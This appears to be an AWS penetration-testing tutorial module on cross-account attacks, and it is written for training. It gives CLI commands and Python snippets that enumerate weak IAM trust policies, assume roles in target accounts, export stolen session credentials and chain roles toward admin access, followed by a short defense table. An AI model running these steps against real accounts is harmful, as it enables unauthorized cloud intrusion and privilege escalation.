> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/07-cross-account.md).

# Module 07 — Cross-Account Attacks

## 🎯 What You'll Learn

* How AWS cross-account access works (trust policies)
* How to discover and abuse misconfigured trust relationships
* How to pivot from one AWS account to another
* How organizations and SCPs factor in

***

## 📖 Theory

In AWS, **roles** can be assumed by identities from *other* AWS accounts — this is how cross-account access works legitimately (e.g. a security team's account accessing prod).

A role's **trust policy** defines who can assume it:

```json
{
  "Effect": "Allow",
  "Principal": {
    "AWS": "arn:aws:iam::TRUSTED-ACCOUNT-ID:root"
  },
  "Action": "sts:AssumeRole"
}
```

**Misconfigurations:**

* Trusting `*` (any AWS account) — any attacker with an AWS account can assume the role
* Trusting a whole account (`::root`) instead of specific roles
* No external ID required (confused deputy attacks)
* Trusting a compromised account you already control

***

## 🔍 Phase 1 — Enumerate Trust Relationships

```bash
# List all roles and check trust policies
aws iam list-roles --profile pentest \
  --query 'Roles[*].{Name:RoleName,Trust:AssumeRolePolicyDocument}' \
  --output json

# Get specific role's trust policy
aws iam get-role \
  --role-name CrossAccountReadRole \
  --profile pentest \
  --query 'Role.AssumeRolePolicyDocument'

# Find roles with broad trust (trusting root or wildcard)
aws iam list-roles --profile pentest --output json | \
  python3 -c "
import json, sys
roles = json.load(sys.stdin)['Roles']
for r in roles:
    doc = r['AssumeRolePolicyDocument']
    for s in doc.get('Statement', []):
        principal = s.get('Principal', {})
        if principal == '*' or ':root' in str(principal):
            print(f'RISKY: {r[\"RoleName\"]} — {principal}')
"
```

***

## 🔍 Phase 2 — Discover External Trust Relationships

```bash
# Find roles trusted by external accounts (not your account)
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)

aws iam list-roles --profile pentest --output json | python3 -c "
import json, sys
account = '$ACCOUNT_ID'
roles = json.load(sys.stdin)['Roles']
for r in roles:
    doc = r['AssumeRolePolicyDocument']
    for s in doc.get('Statement', []):
        p = str(s.get('Principal', ''))
        if 'arn:aws:iam::' in p and account not in p:
            print(f'External trust: {r[\"RoleName\"]} → {p}')
"
```

***

## 💥 Phase 3 — Assume Cross-Account Roles

```bash
# If you have sts:AssumeRole and the trust policy allows your identity:

# Method 1: From your current credentials
aws sts assume-role \
  --role-arn arn:aws:iam::TARGET-ACCOUNT-ID:role/CrossAccountRole \
  --role-session-name pentest-session \
  --profile pentest

# Method 2: If an ExternalId is required (get it from misconfigured code)
aws sts assume-role \
  --role-arn arn:aws:iam::TARGET-ACCOUNT-ID:role/CrossAccountRole \
  --role-session-name pentest-session \
  --external-id EXTERNAL-ID-VALUE \
  --profile pentest

# Use the returned creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=xxxx...
export AWS_SESSION_TOKEN=IQoJ...

# Verify you're now in the target account
aws sts get-caller-identity
```

***

## 💥 Phase 4 — Role Chaining

Role chaining = assume Role A, then use that role to assume Role B:

```bash
# Step 1: Assume first role
CREDS=$(aws sts assume-role \
  --role-arn arn:aws:iam::ACCOUNT-A:role/RoleA \
  --role-session-name hop1 \
  --output json)

export AWS_ACCESS_KEY_ID=$(echo $CREDS | python3 -c "import sys,json; print(json.load(sys.stdin)['Credentials']['AccessKeyId'])")
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | python3 -c "import sys,json; print(json.load(sys.stdin)['Credentials']['SecretAccessKey'])")
export AWS_SESSION_TOKEN=$(echo $CREDS | python3 -c "import sys,json; print(json.load(sys.stdin)['Credentials']['SessionToken'])")

# Step 2: Assume second role using the first role's credentials
aws sts assume-role \
  --role-arn arn:aws:iam::ACCOUNT-B:role/AdminRole \
  --role-session-name hop2
```

***

## 🔍 Phase 5 — AWS Organizations Enumeration

```bash
# List all accounts in the organization (requires org-level permissions)
aws organizations list-accounts --profile pentest

# List organization units
aws organizations list-roots --profile pentest
aws organizations list-children --parent-id ROOT-ID --child-type ORGANIZATIONAL_UNIT

# Get SCPs applied to an account
aws organizations list-policies-for-target \
  --target-id ACCOUNT-ID \
  --filter SERVICE_CONTROL_POLICY \
  --profile pentest
```

***

## 🛡️ Defenses

| Attack                   | Defense                                      |
| ------------------------ | -------------------------------------------- |
| Wildcard trust principal | Specify exact IAM ARN in trust policy        |
| No ExternalId            | Require `sts:ExternalId` condition           |
| Role chaining            | Use max session duration, monitor CloudTrail |
| Trusting root            | Trust specific roles, not entire accounts    |

***

## 📎 References

* [Confused Deputy Problem](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
* [Cross-Account Role Abuse](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/07-cross-account.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
